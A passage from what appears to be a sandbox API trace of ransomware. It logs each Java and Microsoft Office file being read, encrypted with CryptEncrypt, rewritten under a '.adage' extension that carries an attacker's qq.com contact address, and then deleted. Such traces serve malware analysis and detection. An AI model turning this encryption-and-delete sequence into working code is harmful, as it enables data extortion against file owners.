1 [0061.291] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.292] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8820) returned 1 [0061.292] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.292] ReadFile (in: hFile=0x180, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x2371c, lpOverlapped=0x0) returned 1 [0061.304] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x23720, dwBufLen=0x23720 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x23720) returned 1 [0061.306] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x23720, lpOverlapped=0x0) returned 1 [0061.310] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d86a0) returned 1 [0061.310] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.310] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.310] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.310] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x112, lpOverlapped=0x0) returned 1 [0061.311] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.311] CloseHandle (hObject=0x180) returned 1 [0061.311] CloseHandle (hObject=0x1a4) returned 1 [0061.313] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme.txt")) returned 1 [0061.315] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file a.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.315] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=84) returned 1 [0061.315] CloseHandle (hObject=0x1a4) returned 1 [0061.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file a.txt")) returned 0x20 [0061.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File A.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file a.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file a.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.316] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.316] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File A.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file a.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.316] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8820) returned 1 [0061.316] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.316] ReadFile (in: hFile=0x1a4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x54, lpOverlapped=0x0) returned 1 [0061.317] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.317] WriteFile (in: hFile=0x180, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x60, lpOverlapped=0x0) returned 1 [0061.318] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d86a0) returned 1 [0061.318] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.318] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x70, dwBufLen=0x70 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x70) returned 1 [0061.318] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.318] WriteFile (in: hFile=0x180, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x122, lpOverlapped=0x0) returned 1 [0061.319] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.319] CloseHandle (hObject=0x1a4) returned 1 [0061.319] CloseHandle (hObject=0x180) returned 1 [0061.320] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file a.txt")) returned 1 [0061.320] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File B.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file b.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.469] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=84) returned 1 [0061.469] CloseHandle (hObject=0x1ac) returned 1 [0061.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File B.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file b.txt")) returned 0x20 [0061.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File B.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file b.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File B.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file b.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.470] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.470] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File B.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file b.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.470] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.470] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.470] ReadFile (in: hFile=0x1ac, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x54, lpOverlapped=0x0) returned 1 [0061.471] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.471] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x60, lpOverlapped=0x0) returned 1 [0061.472] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.472] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.472] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x70, dwBufLen=0x70 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x70) returned 1 [0061.472] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.472] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x122, lpOverlapped=0x0) returned 1 [0061.472] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.472] CloseHandle (hObject=0x1ac) returned 1 [0061.472] CloseHandle (hObject=0x1b4) returned 1 [0061.474] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\Mso Example Intl Setup File B.txt" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\mso example intl setup file b.txt")) returned 1 [0061.475] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentlogon.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.475] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3318) returned 1 [0061.476] CloseHandle (hObject=0x1b4) returned 1 [0061.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentlogon.xml")) returned 0x20 [0061.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentlogon.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentlogon.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentlogon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.476] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.476] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentlogon.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentlogon.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.476] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.476] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.476] ReadFile (in: hFile=0x1b4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0xcf6, lpOverlapped=0x0) returned 1 [0061.478] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xd00, dwBufLen=0xd00 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xd00) returned 1 [0061.478] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xd00, lpOverlapped=0x0) returned 1 [0061.479] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.479] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.479] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.479] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.479] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x112, lpOverlapped=0x0) returned 1 [0061.479] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.479] CloseHandle (hObject=0x1b4) returned 1 [0061.479] CloseHandle (hObject=0x1ac) returned 1 [0061.481] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentlogon.xml")) returned 1 [0061.482] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\Mso Example Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\mso example setup file a.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.482] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=78) returned 1 [0061.482] CloseHandle (hObject=0x1ac) returned 1 [0061.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\Mso Example Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\mso example setup file a.txt")) returned 0x20 [0061.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\Mso Example Setup File A.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\mso example setup file a.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\Mso Example Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\mso example setup file a.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.483] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.483] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\Mso Example Setup File A.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\mso example setup file a.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.492] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.492] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.492] ReadFile (in: hFile=0x1ac, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x4e, lpOverlapped=0x0) returned 1 [0061.494] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0061.494] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x50, lpOverlapped=0x0) returned 1 [0061.495] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.495] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.495] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.495] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.495] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x112, lpOverlapped=0x0) returned 1 [0061.495] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.495] CloseHandle (hObject=0x1ac) returned 1 [0061.495] CloseHandle (hObject=0x1b4) returned 1 [0061.496] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\Mso Example Setup File A.txt" (normalized: "c:\\program files\\microsoft office\\office16\\mso example setup file a.txt")) returned 1 [0061.497] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-manifest.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-manifest.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.498] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=360) returned 1 [0061.498] CloseHandle (hObject=0x1b4) returned 1 [0061.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-manifest.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-manifest.ini")) returned 0x20 [0061.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-manifest.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-manifest.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-manifest.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-manifest.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.499] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.499] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-manifest.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-manifest.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.499] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.499] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.499] ReadFile (in: hFile=0x1b4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x168, lpOverlapped=0x0) returned 1 [0061.500] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x170, dwBufLen=0x170 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x170) returned 1 [0061.500] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x170, lpOverlapped=0x0) returned 1 [0061.501] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.501] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.501] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.501] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.501] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x112, lpOverlapped=0x0) returned 1 [0061.501] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.501] CloseHandle (hObject=0x1b4) returned 1 [0061.501] CloseHandle (hObject=0x1ac) returned 1 [0061.503] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-manifest.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-manifest.ini")) returned 1 [0061.504] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: 